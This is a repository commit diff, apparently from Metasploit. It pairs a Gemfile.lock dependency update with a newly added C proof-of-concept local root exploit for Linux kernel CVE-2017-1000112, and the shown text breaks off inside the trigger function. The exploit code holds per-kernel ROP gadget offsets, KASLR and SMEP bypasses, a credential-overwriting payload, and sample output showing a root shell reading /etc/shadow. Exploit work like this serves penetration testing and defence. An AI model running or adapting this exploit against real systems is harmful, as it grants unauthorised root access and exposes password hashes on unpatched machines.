Merge branch 'master' and resolve conflict.
commit
418b574161
67
Gemfile.lock
67
Gemfile.lock
|
@ -18,7 +18,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.40)
|
||||
metasploit-payloads (= 1.3.43)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.4.1)
|
||||
mqtt
|
||||
|
@ -65,9 +65,11 @@ PATH
|
|||
sinatra
|
||||
sqlite3
|
||||
sshkey
|
||||
sysrandom
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
warden
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
|
@ -105,7 +107,7 @@ GEM
|
|||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.7.0)
|
||||
arel-helpers (2.8.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.3)
|
||||
bcrypt (3.1.12)
|
||||
|
@ -118,22 +120,22 @@ GEM
|
|||
crass (1.0.4)
|
||||
daemons (1.2.6)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.1)
|
||||
dnsruby (1.61.2)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.10.0)
|
||||
factory_bot (4.11.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_bot_rails (4.10.0)
|
||||
factory_bot (~> 4.10.0)
|
||||
factory_bot_rails (4.11.0)
|
||||
factory_bot (~> 4.11.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.6)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
|
@ -162,7 +164,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.40)
|
||||
metasploit-payloads (1.3.43)
|
||||
metasploit_data_models (3.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -186,14 +188,14 @@ GEM
|
|||
nexpose (7.2.1)
|
||||
nokogiri (1.8.4)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.9.0)
|
||||
octokit (4.10.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
|
@ -209,7 +211,7 @@ GEM
|
|||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
public_suffix (3.0.3)
|
||||
rack (1.6.10)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
|
@ -259,7 +261,7 @@ GEM
|
|||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.78)
|
||||
rex-powershell (0.1.79)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.4)
|
||||
|
@ -269,7 +271,7 @@ GEM
|
|||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.14)
|
||||
rex-socket (0.1.15)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
|
@ -280,29 +282,29 @@ GEM
|
|||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
rspec (3.8.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-core (3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-expectations (3.8.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-mocks (3.8.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rails (3.8.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.1)
|
||||
rspec-support (3.8.0)
|
||||
ruby-macho (2.0.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.3)
|
||||
|
@ -326,6 +328,7 @@ GEM
|
|||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
swagger-blocks (2.0.2)
|
||||
sysrandom (1.0.5)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
|
@ -339,12 +342,14 @@ GEM
|
|||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.14)
|
||||
yard (0.9.16)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -365,4 +370,4 @@ DEPENDENCIES
|
|||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.2
|
||||
1.16.3
|
||||
|
|
|
@ -0,0 +1,884 @@
|
|||
// A proof-of-concept local root exploit for CVE-2017-1000112.
|
||||
// Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
// Tested on:
|
||||
// - Ubuntu trusty 4.4.0 kernels
|
||||
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
|
||||
// - Linux Mint rosa 4.4.0 kernels
|
||||
// - Linux Mint sarah 4.8.0 kernels
|
||||
// - Zorin OS 12.1 4.4.0-39 kernel
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// user@ubuntu:~$ whoami
|
||||
// user
|
||||
// user@ubuntu:~$ id
|
||||
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-58-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [~] done, kernel text: ffffffffae400000
|
||||
// [.] commit_creds: ffffffffae4a5d20
|
||||
// [.] prepare_kernel_cred: ffffffffae4a6110
|
||||
// [.] SMEP bypass enabled, mmapping fake stack
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload ffffffffae40008d
|
||||
// [~] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# whoami
|
||||
// root
|
||||
// root@ubuntu:/home/user# id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// sys:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for distros based on Ubuntu kernel
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_BYPASS 1
|
||||
|
||||
char* SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_kernel().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* distro;
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xchg_eax_esp_ret;
|
||||
uint64_t pop_rdi_ret;
|
||||
uint64_t mov_dword_ptr_rdi_eax_ret;
|
||||
uint64_t mov_rax_cr4_ret;
|
||||
uint64_t neg_rax_ret;
|
||||
uint64_t pop_rcx_ret;
|
||||
uint64_t or_rax_rcx_ret;
|
||||
uint64_t xchg_eax_edi_ret;
|
||||
uint64_t mov_cr4_rdi_ret;
|
||||
uint64_t jmp_rcx;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
|
||||
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
|
||||
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
|
||||
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
|
||||
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
|
||||
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
|
||||
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
|
||||
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
|
||||
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
|
||||
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
|
||||
// Used when ENABLE_SMEP_BYPASS is used.
|
||||
// - xchg eax, esp ; ret
|
||||
// - pop rdi ; ret
|
||||
// - mov dword ptr [rdi], eax ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
|
||||
// - neg rax ; ret
|
||||
// - pop rcx ; ret
|
||||
// - or rax, rcx ; ret
|
||||
// - xchg eax, edi ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
|
||||
// - jmp rcx
|
||||
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
|
||||
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
|
||||
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
|
||||
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
|
||||
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
|
||||
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
|
||||
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
|
||||
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
|
||||
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
dprintf("[-] mmap()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
dprintf("[-] connect()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
dprintf("[-] send()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
